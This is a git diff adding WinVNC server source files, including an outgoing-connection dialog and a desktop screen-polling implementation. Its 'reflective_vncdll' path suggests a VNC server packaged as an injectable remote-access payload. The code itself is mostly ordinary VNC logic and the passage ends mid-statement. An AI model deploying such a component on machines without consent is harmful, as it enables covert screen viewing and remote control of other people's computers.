Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncConnDialog.cpp: implementation of the vncConnDialog class, used +// to forge outgoing connections to VNC-viewer + +#include "stdhdrs.h" +#include "vncConnDialog.h" +#include "WinVNC.h" + +#include "resource.h" + +// Constructor + +vncConnDialog::vncConnDialog(vncServer *server) +{ + m_server = server; +} + +// Destructor + +vncConnDialog::~vncConnDialog() +{ +} + +// Routine called to activate the dialog and, once it's done, delete it + +void vncConnDialog::DoDialog() +{ + DialogBoxParam(hAppInstance, MAKEINTRESOURCE(IDD_OUTGOING_CONN), + NULL, (DLGPROC) vncConnDlgProc, (LONG) this); + delete this; +} + +// Callback function - handles messages sent to the dialog box + +BOOL CALLBACK vncConnDialog::vncConnDlgProc(HWND hwnd, + UINT uMsg, + WPARAM wParam, + LPARAM lParam) { + // This is a static method, so we don't know which instantiation we're + // dealing with. But we can get a pseudo-this from the parameter to + // WM_INITDIALOG, which we therafter store with the window and retrieve + // as follows: + vncConnDialog *_this = (vncConnDialog *) GetWindowLong(hwnd, GWL_USERDATA); + + switch (uMsg) { + + // Dialog has just been created + case WM_INITDIALOG: + { + // Save the lParam into our user data so that subsequent calls have + // access to the parent C++ object + + SetWindowLong(hwnd, GWL_USERDATA, lParam); + vncConnDialog *_this = (vncConnDialog *) lParam; + + // Make the text entry box active + SetFocus(GetDlgItem(hwnd, IDC_HOSTNAME_EDIT)); + + // Return success! + return TRUE; + } + + // Dialog has just received a command + case WM_COMMAND: + switch (LOWORD(wParam)) { + + // User clicked OK or pressed return + case IDOK: + { + char viewer[256]; + char hostname[256]; + VCard display_or_port; + + // Get the viewer to connect to + GetDlgItemText(hwnd, IDC_HOSTNAME_EDIT, viewer, 256); + + // Process the supplied viewer address + int result = sscanf(viewer, "%255[^:]:%u", hostname, &display_or_port); + if (result == 1) { + display_or_port = 0; + result = 2; + } + if (result == 2) { + // Correct a display number to a port number if required + if (display_or_port < 100) { + display_or_port += INCOMING_PORT_OFFSET; + } + + // Attempt to create a new socket + VSocket *tmpsock; + tmpsock = new VSocket; + if (!tmpsock) + return TRUE; + + // Connect out to the specified host on the VNCviewer listen port + // To be really good, we should allow a display number here but + // for now we'll just assume we're connecting to display zero + tmpsock->Create(); + if (tmpsock->Connect(hostname, display_or_port)) { + // Add the new client to this server + _this->m_server->AddClient(tmpsock, TRUE, TRUE); + + // And close the dialog + EndDialog(hwnd, TRUE); + } else { + // Print up an error message + MessageBox(NULL, + "Failed to connect to listening VNC viewer", + "Outgoing Connection", + MB_OK | MB_ICONEXCLAMATION ); + delete tmpsock; + } + } else { + // We couldn't process the machine specification + MessageBox(NULL, "Unable to process specified hostname and display/port", + "Outgoing Connection", MB_OK | MB_ICONEXCLAMATION); + } + } + return TRUE; + + // Cancel the dialog + case IDCANCEL: + EndDialog(hwnd, FALSE); + return TRUE; + }; + + break; + + case WM_DESTROY: + EndDialog(hwnd, FALSE); + return TRUE; + } + return 0; +} + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncconndialog.h b/external/source/reflective_vncdll/winvnc/winvnc/vncconndialog.h new file mode 100644 index 0000000000..88238f1123 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncconndialog.h @@ -0,0 +1,64 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +class vncConnDialog; + +#if (!defined(_WINVNC_VNCCONNDIALOG)) +#define _WINVNC_VNCCONNDIALOG + +#pragma once + +#include "vncServer.h" + +// Outgoing connection dialog. This allows people running VNC servers on +// Win32 platforms to _push_ their displays out to other people's screens +// rather than having to _pull_ them across. + +class vncConnDialog +{ +public: + + // Create an outgoing-connection dialog + vncConnDialog(vncServer *server); + + // Destructor + virtual ~vncConnDialog(); + + // Once a dialog object is created, either delete it again, or + // call DoDialog. DoDialog will run the object and delete it when done + void DoDialog(); + + // Internal stuffs +private: + + // Routine to call when a dialog event occurs + static BOOL CALLBACK vncConnDlgProc(HWND hwndDlg, + UINT uMsg, + WPARAM wParam, + LPARAM lParam); + + // Pointer back to the server object + vncServer *m_server; +}; + +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnccorbaconnect.h b/external/source/reflective_vncdll/winvnc/winvnc/vnccorbaconnect.h new file mode 100644 index 0000000000..81bde735b3 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnccorbaconnect.h @@ -0,0 +1,93 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncCorbaConnect + +// The vncCorbaConnect object makes the WinVNC server available through +// the CORBA desktop control interface + +class vncCorbaConnect; + +#if (!defined(_WINVNC_VNCCORBACONNECT)) +#define _WINVNC_VNCCORBACONNECT + +// Includes +#include "stdhdrs.h" + +// The following class definition is only used if CORBA control +// is to be enabled in the final executable +#if(defined(_CORBA)) + +#include "vnc.hh" +#include "vncServer.h" + +// The vncCorbaConnect class itself +class vncCorbaConnect +{ +public: + // Constructor/destructor + vncCorbaConnect(); + ~vncCorbaConnect(); + + // Init + virtual BOOL Init(vncServer *server); + + // Implementation +protected: + // Internal methods + virtual BOOL InitQuiet(vncServer *server); + virtual BOOL InitCorba(int argc, char *argv[]); + virtual void ShutdownCorba(void); + virtual CORBA::Boolean BindDesktop(CORBA::Object_ptr obj); + + // General + vncServer *m_server; + + // The actual CORBA stuff; + static CORBA::ORB_var m_orb; // The overall ORB object + PortableServer::POA_var m_poa; + PortableServer::ObjectId* m_controller_id; + + char *m_username; + char *m_desktop; + + CORBA::ULong m_lastconntime; +}; + +#else // _CORBA + +#include "vncServer.h" + +// The vncCorbaConnect class itself + +class vncCorbaConnect +{ +public: + // Init + virtual BOOL Init(vncServer *server) {return FALSE;}; +}; + +#endif // _CORBA + +#endif // _WINVNC_VNCCORBACONNECT diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncdesktop.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncdesktop.cpp new file mode 100644 index 0000000000..ed5a7f44ef --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncdesktop.cpp @@ -0,0 +1,1614 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// vncDesktop implementation + +// System headers +#include +#include "stdhdrs.h" + +// Custom headers +#include +#include "WinVNC.h" +#include "VNCHooks\VNCHooks.h" +#include "vncServer.h" +#include "vncKeymap.h" +#include "rfbRegion.h" +#include "rfbRect.h" +#include "vncDesktop.h" +#include "vncService.h" + +// Constants +const UINT RFB_SCREEN_UPDATE = RegisterWindowMessage("WinVNC.Update.DrawRect"); +const UINT RFB_COPYRECT_UPDATE = RegisterWindowMessage("WinVNC.Update.CopyRect"); +const UINT RFB_MOUSE_UPDATE = RegisterWindowMessage("WinVNC.Update.Mouse"); +const char szDesktopSink[] = "WinVNC desktop sink"; + +// The desktop handler thread +// This handles the messages posted by RFBLib to the vncDesktop window + +class vncDesktopThread : public omni_thread +{ +public: + vncDesktopThread() {m_returnsig = NULL;}; +protected: + ~vncDesktopThread() {if (m_returnsig != NULL) delete m_returnsig;}; +public: + virtual BOOL Init(vncDesktop *desktop, vncServer *server); + virtual void *run_undetached(void *arg); + virtual void ReturnVal(BOOL result); + void PollWindow(rfb::Region2D &rgn, HWND hwnd); +protected: + vncServer *m_server; + vncDesktop *m_desktop; + + omni_mutex m_returnLock; + omni_condition *m_returnsig; + BOOL m_return; + BOOL m_returnset; +}; + +BOOL +vncDesktopThread::Init(vncDesktop *desktop, vncServer *server) +{ + // Save the server pointer + m_server = server; + m_desktop = desktop; + + m_returnset = FALSE; + m_returnsig = new omni_condition(&m_returnLock); + + // Start the thread + start_undetached(); + + // Wait for the thread to let us know if it failed to init + { omni_mutex_lock l(m_returnLock); + + while (!m_returnset) + { + m_returnsig->wait(); + } + } + + return m_return; +} + +void +vncDesktopThread::ReturnVal(BOOL result) +{ + omni_mutex_lock l(m_returnLock); + + m_returnset = TRUE; + m_return = result; + m_returnsig->signal(); +} + +void +vncDesktopThread::PollWindow(rfb::Region2D &rgn, HWND hwnd) +{ + // Are we set to low-load polling? + if (m_server->PollOnEventOnly()) + { + // Yes, so only poll if the remote user has done something + if (!m_server->RemoteEventReceived()) { + return; + } + } + + // Does the client want us to poll only console windows? + if (m_desktop->m_server->PollConsoleOnly()) + { + char classname[20]; + + // Yes, so check that this is a console window... + if (GetClassName(hwnd, classname, sizeof(classname))) { + if ((strcmp(classname, "tty") != 0) && + (strcmp(classname, "ConsoleWindowClass") != 0)) { + return; + } + } + } + + RECT rect; + + // Get the rectangle + if (GetWindowRect(hwnd, &rect)) { + rfb::Rect wrect = rfb::Rect(rect).intersect(m_desktop->m_bmrect); + if (!wrect.is_empty()) { + rgn = rgn.union_(rfb::Region2D(wrect)); + } + } +} + +void * +vncDesktopThread::run_undetached(void *arg) +{ + // Save the thread's "home" desktop, under NT (no effect under 9x) + HDESK home_desktop = GetThreadDesktop(GetCurrentThreadId()); + + // Attempt to initialise and return success or failure + if (!m_desktop->Startup()) + { + vncService::SelectHDESK(home_desktop); + ReturnVal(FALSE); + return NULL; + } + + // Grab the initial display contents + // *** m_desktop->m_buffer.GrabRegion(m_desktop->m_bmrect); + // *** m_desktop->m_buffer.Clear(m_desktop->m_bmrect); + + // Succeeded to initialise ok + ReturnVal(TRUE); + + // START PROCESSING DESKTOP MESSAGES + + // We set a flag inside the desktop handler here, to indicate it's now safe + // to handle clipboard messages + m_desktop->SetClipboardActive(TRUE); + + // All changes in the state of the display are stored in a local + // UpdateTracker object, and are flushed to the vncServer whenever + // client updates are about to be triggered + rfb::SimpleUpdateTracker clipped_updates; + rfb::ClippedUpdateTracker updates(clipped_updates, m_desktop->m_bmrect); + clipped_updates.enable_copyrect(true); + + // Incoming update messages are collated into a single region cache + // The region cache areas are checked for changes before an update + // is triggered, and the changed areas are passed to the UpdateTracker + rfb::Region2D rgncache = m_desktop->m_bmrect; + + // The previous cursor position is stored, to allow us to erase the + // old instance whenever it moves. + rfb::Point oldcursorpos; + + // Set the hook thread to a high priority + // *** set_priority(omni_thread::PRIORITY_HIGH); + + BOOL idle_skip = TRUE; + ULONG idle_skip_count = 0; + MSG msg; + while (TRUE) + { + if (!PeekMessage(&msg, NULL, NULL, NULL, PM_REMOVE)) { + // + // - MESSAGE QUEUE EMPTY + // Whenever the message queue becomes empty, we check to see whether + // there are updates to be passed to clients. + if (idle_skip) { + idle_skip = FALSE; + if (idle_skip_count++ < 4) { + Sleep(5); + continue; + } + } + idle_skip_count = 0; + + // Clear the triggered flag + m_desktop->m_update_triggered = FALSE; + + // + // CHECK SCREEN FORMAT + // First, we must check that the screen hasnt changed too much. + if (m_desktop->m_displaychanged || !vncService::InputDesktopSelected()) + { + rfbServerInitMsg oldscrinfo = m_desktop->m_scrinfo; + m_desktop->m_displaychanged = FALSE; + + // Attempt to close the old hooks + if (!m_desktop->Shutdown()) + { + m_server->KillAuthClients(); + break; + } + + // Now attempt to re-install them! + if (!m_desktop->Startup()) + { + m_server->KillAuthClients(); + break; + } + + // Check that the screen info hasn't changed + //vnclog.Print(LL_INTINFO, VNCLOG("SCR: old screen format %dx%dx%d\n"), + // oldscrinfo.framebufferWidth, + // oldscrinfo.framebufferHeight, + // oldscrinfo.format.bitsPerPixel); + //vnclog.Print(LL_INTINFO, VNCLOG("SCR: new screen format %dx%dx%d\n"), + // m_desktop->m_scrinfo.framebufferWidth, + // m_desktop->m_scrinfo.framebufferHeight, + // m_desktop->m_scrinfo.format.bitsPerPixel); + if ((m_desktop->m_scrinfo.framebufferWidth != oldscrinfo.framebufferWidth) || + (m_desktop->m_scrinfo.framebufferHeight != oldscrinfo.framebufferHeight)) + { + m_server->KillAuthClients(); + break; + } else if (memcmp(&m_desktop->m_scrinfo.format, &oldscrinfo.format, sizeof(rfbPixelFormat)) != 0) + { + m_server->UpdateLocalFormat(); + } + + // Adjust the UpdateTracker clip region + updates.set_clip_region(m_desktop->m_bmrect); + + // Add a full screen update to all the clients + rgncache = rgncache.union_(rfb::Region2D(m_desktop->m_bmrect)); + m_server->UpdatePalette(); + } + + // + // CALCULATE CHANGES + // + + if (m_desktop->m_server->UpdateWanted()) + { + // POLL PROBLEM AREAS + // We add specific areas of the screen to the region cache, + // causing them to be fetched for processing. + if (m_desktop->m_server->PollFullScreen()) + { + rfb::Rect rect = m_desktop->m_qtrscreen; + rect = rect.translate(rfb::Point(0, m_desktop->m_pollingcycle * m_desktop->m_qtrscreen.br.y)); + rgncache = rgncache.union_(rfb::Region2D(rect)); + m_desktop->m_pollingcycle = (m_desktop->m_pollingcycle + 1) % 4; + } + if (m_desktop->m_server->PollForeground()) + { + // Get the window rectangle for the currently selected window + HWND hwnd = GetForegroundWindow(); + if (hwnd != NULL) + PollWindow(rgncache, hwnd); + } + if (m_desktop->m_server->PollUnderCursor()) + { + // Find the mouse position + POINT mousepos; + if (GetCursorPos(&mousepos)) + { + // Find the window under the mouse + HWND hwnd = WindowFromPoint(mousepos); + if (hwnd != NULL) + PollWindow(rgncache, hwnd); + } + } + + // PROCESS THE MOUSE POINTER + // Some of the hard work is done in clients, some here + // This code fetches the desktop under the old pointer position + // but the client is responsible for actually encoding and sending + // it when required. + // This code also renders the pointer and saves the rendered position + // Clients include this when rendering updates. + // The code is complicated in this way because we wish to avoid + // rendering parts of the screen the mouse moved through between + // client updates, since in practice they will probably not have changed. + + // Re-render the mouse's old location if it's moved + BOOL cursormoved = FALSE; + POINT cursorpos; + if (GetCursorPos(&cursorpos) && + ((cursorpos.x != oldcursorpos.x) || + (cursorpos.y != oldcursorpos.y))) { + cursormoved = TRUE; + oldcursorpos = rfb::Point(cursorpos); + } + if (cursormoved) { + if (!m_desktop->m_cursorpos.is_empty()) + rgncache = rgncache.union_(rfb::Region2D(m_desktop->m_cursorpos)); + } + + { + // Prevent any clients from accessing the Buffer + omni_mutex_lock l(m_desktop->m_update_lock); + + // CHECK FOR COPYRECTS + // This actually just checks where the Foreground window is + m_desktop->CalcCopyRects(updates); + + // GRAB THE DISPLAY + // Fetch data from the display to our display cache. + m_desktop->m_buffer.GrabRegion(rgncache); + // Render the mouse + m_desktop->m_buffer.GrabMouse(); + if (cursormoved) { + // Inform clients that it has moved + m_desktop->m_server->UpdateMouse(); + // Get the buffer to fetch the pointer bitmap + if (!m_desktop->m_cursorpos.is_empty()) + rgncache = rgncache.union_(rfb::Region2D(m_desktop->m_cursorpos)); + } + + // SCAN THE CHANGED REGION FOR ACTUAL CHANGES + // The hooks return hints as to areas that may have changed. + // We check the suggested areas, and just send the ones that + // have actually changed. + // Note that we deliberately don't check the copyrect destination + // here, to reduce the overhead & the likelihood of corrupting the + // backbuffer contents. + rfb::Region2D checkrgn = rgncache.subtract(clipped_updates.get_copied_region()); + rgncache = clipped_updates.get_copied_region(); + rfb::Region2D changedrgn; + m_desktop->m_buffer.CheckRegion(changedrgn, checkrgn); + + // FLUSH UPDATES TO CLIENTS + // Add the bits that have really changed to their update regions + // Note that the cursor is NOT included - they must do that + // themselves, for the reasons above. + // This call implicitly kicks clients to update themselves + + updates.add_changed(changedrgn); + clipped_updates.get_update(m_server->GetUpdateTracker()); + } + + // Clear the update tracker and region cache + clipped_updates.clear(); + } + + // Now wait for more messages to be queued + if (!WaitMessage()) { + //vnclog.Print(LL_INTERR, VNCLOG("WaitMessage() failed\n")); + break; + } + } else if (msg.message == RFB_SCREEN_UPDATE) { + // Process an incoming update event + + // An area of the screen has changed + rfb::Rect rect; + rect.tl = rfb::Point((SHORT)LOWORD(msg.wParam), (SHORT)HIWORD(msg.wParam)); + rect.br = rfb::Point((SHORT)LOWORD(msg.lParam), (SHORT)HIWORD(msg.lParam)); + rect = rect.intersect(m_desktop->m_bmrect); + if (!rect.is_empty()) { + rgncache = rgncache.union_(rfb::Region2D(rect)); + } + + idle_skip = TRUE; + } else if (msg.message == RFB_MOUSE_UPDATE) { + // Process an incoming mouse event + + // Save the cursor ID + m_desktop->SetCursor((HCURSOR) msg.wParam); + + idle_skip = TRUE; + } else if (msg.message == WM_QUIT) { + break; + } else { + // Process any other messages normally + DispatchMessage(&msg); + + idle_skip = TRUE; + } + } + + m_desktop->SetClipboardActive(FALSE); + + //vnclog.Print(LL_INTINFO, VNCLOG("quitting desktop server thread\n")); + + // Clear all the hooks and close windows, etc. + m_desktop->Shutdown(); + + // Clear the shift modifier keys, now that there are no remote clients + vncKeymap::ClearShiftKeys(); + + // Switch back into our home desktop, under NT (no effect under 9x) + vncService::SelectHDESK(home_desktop); + + return NULL; +} + +// Implementation + +vncDesktop::vncDesktop() +{ + m_thread = NULL; + + m_hwnd = NULL; + m_timerid = 0; + m_hnextviewer = NULL; + m_hcursor = NULL; + + m_displaychanged = FALSE; + m_update_triggered = FALSE; + + m_hrootdc = NULL; + m_hmemdc = NULL; + m_membitmap = NULL; + + m_initialClipBoardSeen = FALSE; + + m_foreground_window = NULL; + + // Vars for Will Dean's DIBsection patch + m_DIBbits = NULL; + m_formatmunged = FALSE; + + m_clipboard_active = FALSE; + + m_pollingcycle = 0; +} + +vncDesktop::~vncDesktop() +{ + //vnclog.Print(LL_INTINFO, VNCLOG("killing screen server\n")); + + // If we created a thread then here we delete it + // The thread itself does most of the cleanup + if(m_thread != NULL) + { + // Post a close message to quit our message handler thread + PostMessage(Window(), WM_QUIT, 0, 0); + + // Join with the desktop handler thread + void *returnval; + m_thread->join(&returnval); + m_thread = NULL; + } + + // Let's call Shutdown just in case something went wrong... + Shutdown(); +} + +// Tell the desktop hooks to grab & update a particular rectangle +void +vncDesktop::QueueRect(const rfb::Rect &rect) +{ + ULONG vwParam = MAKELONG(rect.tl.x, rect.tl.y); + ULONG vlParam = MAKELONG(rect.br.x, rect.br.y); + + PostMessage(Window(), RFB_SCREEN_UPDATE, vwParam, vlParam); +} + +// Kick the desktop hooks to perform an update +void +vncDesktop::TriggerUpdate() +{ + // Note that we should really lock the update lock here, + // but there are periodic timer updates anyway, so + // we don't actually need to. Something to think about. + if (!m_update_triggered) { + m_update_triggered = TRUE; + PostMessage(Window(), WM_TIMER, 0, 0); + } +} + +// Routine to startup and install all the hooks and stuff +BOOL +vncDesktop::Startup() +{ + + + KillScreenSaver(); + + if (!InitDesktop()) + return FALSE; + + if (!InitBitmap()) + return FALSE; + + if (!ThunkBitmapInfo()) + return FALSE; + + EnableOptimisedBlits(); + + if (!SetPixFormat()) + return FALSE; + + if (!SetPixShifts()) + return FALSE; + + if (!SetPalette()) + return FALSE; + + if (!InitWindow()) + return FALSE; + + // Add the system hook +/* +if (!SetHooks( + GetCurrentThreadId(), + RFB_SCREEN_UPDATE, + RFB_COPYRECT_UPDATE, + RFB_MOUSE_UPDATE + )) + { + //vnclog.Print(LL_INTERR, VNCLOG("failed to set system hooks\n")); + // Switch on full screen polling, so they can see something, at least... + m_server->PollFullScreen(TRUE); + } else { + //vnclog.Print(LL_INTERR, VNCLOG("set hooks OK\n")); + } + + // Start up the keyboard and mouse filters + SetKeyboardFilterHook(m_server->LocalInputsDisabled()); + SetMouseFilterHook(m_server->LocalInputsDisabled()); +*/ + m_server->PollFullScreen(TRUE); + + // Start a timer to handle Polling Mode. The timer will cause + // an "idle" event once every quarter second, which is necessary if Polling + // Mode is being used, to cause TriggerUpdate to be called. + m_timerid = SetTimer(m_hwnd, 1, 250, NULL); + + // Initialise the buffer object + m_buffer.SetDesktop(this); + + // Create the quarter-screen rectangle for polling + m_qtrscreen = rfb::Rect(0, 0, m_bmrect.br.x, m_bmrect.br.y/4); + + // Everything is ok, so return TRUE + return TRUE; +} + +// Routine to shutdown all the hooks and stuff +BOOL +vncDesktop::Shutdown() +{ + // If we created a timer then kill it + if (m_timerid != NULL) + KillTimer(NULL, m_timerid); + + // If we created a window then kill it and the hooks + if(m_hwnd != NULL) + { + // Remove the system hooks + //UnSetHooks(GetCurrentThreadId()); + + // The window is being closed - remove it from the viewer list + ChangeClipboardChain(m_hwnd, m_hnextviewer); + + // Close the hook window + DestroyWindow(m_hwnd); + m_hwnd = NULL; + m_hnextviewer = NULL; + } + + // Now free all the bitmap stuff + if (m_hrootdc != NULL) + { + // Release our device context + //if(ReleaseDC(NULL, m_hrootdc) == 0) + //{ + // //vnclog.Print(LL_INTERR, VNCLOG("failed to ReleaseDC\n")); + //} + m_hrootdc = NULL; + } + if (m_hmemdc != NULL) + { + // Release our device context + ////if (!DeleteDC(m_hmemdc)) + //{ + // //vnclog.Print(LL_INTERR, VNCLOG("failed to DeleteDC\n")); + //} + m_hmemdc = NULL; + } + if (m_membitmap != NULL) + { + // Release the custom bitmap, if any + //if (!DeleteObject(m_membitmap)) + //{ + // //vnclog.Print(LL_INTERR, VNCLOG("failed to DeleteObject\n")); + //} + m_membitmap = NULL; + } + + // *** + // vncService::SelectHomeWinStation(); + + return TRUE; +} + +// Routine to ensure we're on the correct NT desktop + +BOOL +vncDesktop::InitDesktop() +{ + if (vncService::InputDesktopSelected()) + return TRUE; + + // Ask for the current input desktop + return vncService::SelectDesktop(NULL); +} + +// Routine used to close the screen saver, if it's active... + +BOOL CALLBACK +KillScreenSaverFunc(HWND hwnd, LPARAM lParam) +{ + char buffer[256]; + + // - ONLY try to close Screen-saver windows!!! + if ((GetClassName(hwnd, buffer, 256) != 0) && + (strcmp(buffer, "WindowsScreenSaverClass") == 0)) + PostMessage(hwnd, WM_CLOSE, 0, 0); + return TRUE; +} + +void +vncDesktop::KillScreenSaver() +{ + OSVERSIONINFO osversioninfo; + osversioninfo.dwOSVersionInfoSize = sizeof(osversioninfo); + + // Get the current OS version + if (!GetVersionEx(&osversioninfo)) + return; + + //vnclog.Print(LL_INTINFO, VNCLOG("KillScreenSaver...\n")); + + // How to kill the screen saver depends on the OS + switch (osversioninfo.dwPlatformId) + { + case VER_PLATFORM_WIN32_WINDOWS: + { + // Windows 95 + + // Fidn the ScreenSaverClass window + HWND hsswnd = FindWindow ("WindowsScreenSaverClass", NULL); + if (hsswnd != NULL) + PostMessage(hsswnd, WM_CLOSE, 0, 0); + break; + } + case VER_PLATFORM_WIN32_NT: + { + // Windows NT + + // Find the screensaver desktop + HDESK hDesk = OpenDesktop( + "Screen-saver", + 0, + FALSE, + DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS + ); + if (hDesk != NULL) + { + //vnclog.Print(LL_INTINFO, VNCLOG("Killing ScreenSaver\n")); + + // Close all windows on the screen saver desktop + EnumDesktopWindows(hDesk, (WNDENUMPROC) &KillScreenSaverFunc, 0); + CloseDesktop(hDesk); + // Pause long enough for the screen-saver to close + //Sleep(2000); + // Reset the screen saver so it can run again + SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, TRUE, 0, SPIF_SENDWININICHANGE); + }// else { + // //vnclog.Print(LL_INTINFO, VNCLOG("Could not aquire read/write access to the desktop\n")); + //} + break; + } + } +} + +BOOL +vncDesktop::InitBitmap() +{ + // Get the device context for the whole screen and find it's size + m_hrootdc = ::GetDC(NULL); + if (m_hrootdc == NULL) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to get display context\n")); + return FALSE; + } + + m_bmrect = rfb::Rect(0, 0, + GetDeviceCaps(m_hrootdc, HORZRES), + GetDeviceCaps(m_hrootdc, VERTRES)); + //vnclog.Print(LL_INTINFO, VNCLOG("bitmap dimensions are %d x %d\n"), m_bmrect.br.x, m_bmrect.br.y); + + // Create a compatible memory DC + m_hmemdc = CreateCompatibleDC(m_hrootdc); + if (m_hmemdc == NULL) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to create compatibleDC(%d)\n"), GetLastError()); + return FALSE; + } + + // Check that the device capabilities are ok + if ((GetDeviceCaps(m_hrootdc, RASTERCAPS) & RC_BITBLT) == 0) + { + MessageBox( + NULL, + "vncDesktop : root device doesn't support BitBlt\n" + "WinVNC cannot be used with this graphic device driver", + szAppName, + MB_ICONSTOP | MB_OK + ); + return FALSE; + } + if ((GetDeviceCaps(m_hmemdc, RASTERCAPS) & RC_DI_BITMAP) == 0) + { + MessageBox( + NULL, + "vncDesktop : memory device doesn't support GetDIBits\n" + "WinVNC cannot be used with this graphics device driver", + szAppName, + MB_ICONSTOP | MB_OK + ); + return FALSE; + } + + // Create the bitmap to be compatible with the ROOT DC!!! + m_membitmap = CreateCompatibleBitmap(m_hrootdc, m_bmrect.br.x, m_bmrect.br.y); + if (m_membitmap == NULL) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to create memory bitmap(%d)\n"), GetLastError()); + return FALSE; + } + //vnclog.Print(LL_INTINFO, VNCLOG("created memory bitmap\n")); + + // Get the bitmap's format and colour details + int result; + memset(&m_bminfo, 0, sizeof(m_bminfo)); + m_bminfo.bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + m_bminfo.bmi.bmiHeader.biBitCount = 0; + result = ::GetDIBits(m_hmemdc, m_membitmap, 0, 1, NULL, &m_bminfo.bmi, DIB_RGB_COLORS); + if (result == 0) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to get display format\n")); + return FALSE; + } + result = ::GetDIBits(m_hmemdc, m_membitmap, 0, 1, NULL, &m_bminfo.bmi, DIB_RGB_COLORS); + if (result == 0) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to get display colour info\n")); + return FALSE; + } + //vnclog.Print(LL_INTINFO, VNCLOG("got bitmap format\n")); + + // Henceforth we want to use a top-down scanning representation + m_bminfo.bmi.bmiHeader.biHeight = - abs(m_bminfo.bmi.bmiHeader.biHeight); + + // Is the bitmap palette-based or truecolour? + m_bminfo.truecolour = (GetDeviceCaps(m_hmemdc, RASTERCAPS) & RC_PALETTE) == 0; + + return TRUE; +} + +BOOL +vncDesktop::ThunkBitmapInfo() +{ + // If we leave the pixel format intact, the blist can be optimised (Will Dean's patch) + m_formatmunged = FALSE; + + // HACK ***. Optimised blits don't work with palette-based displays, yet + if (!m_bminfo.truecolour) { + m_formatmunged = TRUE; + } + + // Attempt to force the actual format into one we can handle + // We can handle 8-bit-palette and 16/32-bit-truecolour modes + switch (m_bminfo.bmi.bmiHeader.biBitCount) + { + case 1: + case 4: + //vnclog.Print(LL_INTINFO, VNCLOG("DBG:used/bits/planes/comp/size = %d/%d/%d/%d/%d\n"), + /// (int)m_bminfo.bmi.bmiHeader.biClrUsed, + // (int)m_bminfo.bmi.bmiHeader.biBitCount, + // (int)m_bminfo.bmi.bmiHeader.biPlanes, + //// (int)m_bminfo.bmi.bmiHeader.biCompression, + // (int)m_bminfo.bmi.bmiHeader.biSizeImage); + + // Correct the BITMAPINFO header to the format we actually want + m_bminfo.bmi.bmiHeader.biClrUsed = 0; + m_bminfo.bmi.bmiHeader.biPlanes = 1; + m_bminfo.bmi.bmiHeader.biCompression = BI_RGB; + m_bminfo.bmi.bmiHeader.biBitCount = 8; + m_bminfo.bmi.bmiHeader.biSizeImage = + abs((m_bminfo.bmi.bmiHeader.biWidth * + m_bminfo.bmi.bmiHeader.biHeight * + m_bminfo.bmi.bmiHeader.biBitCount)/ 8); + m_bminfo.bmi.bmiHeader.biClrImportant = 0; + m_bminfo.truecolour = FALSE; + + // Display format is non-VNC compatible - use the slow blit method + m_formatmunged = TRUE; + break; + case 24: + // Update the bitmapinfo header + m_bminfo.bmi.bmiHeader.biBitCount = 32; + m_bminfo.bmi.bmiHeader.biPlanes = 1; + m_bminfo.bmi.bmiHeader.biCompression = BI_RGB; + m_bminfo.bmi.bmiHeader.biSizeImage = + 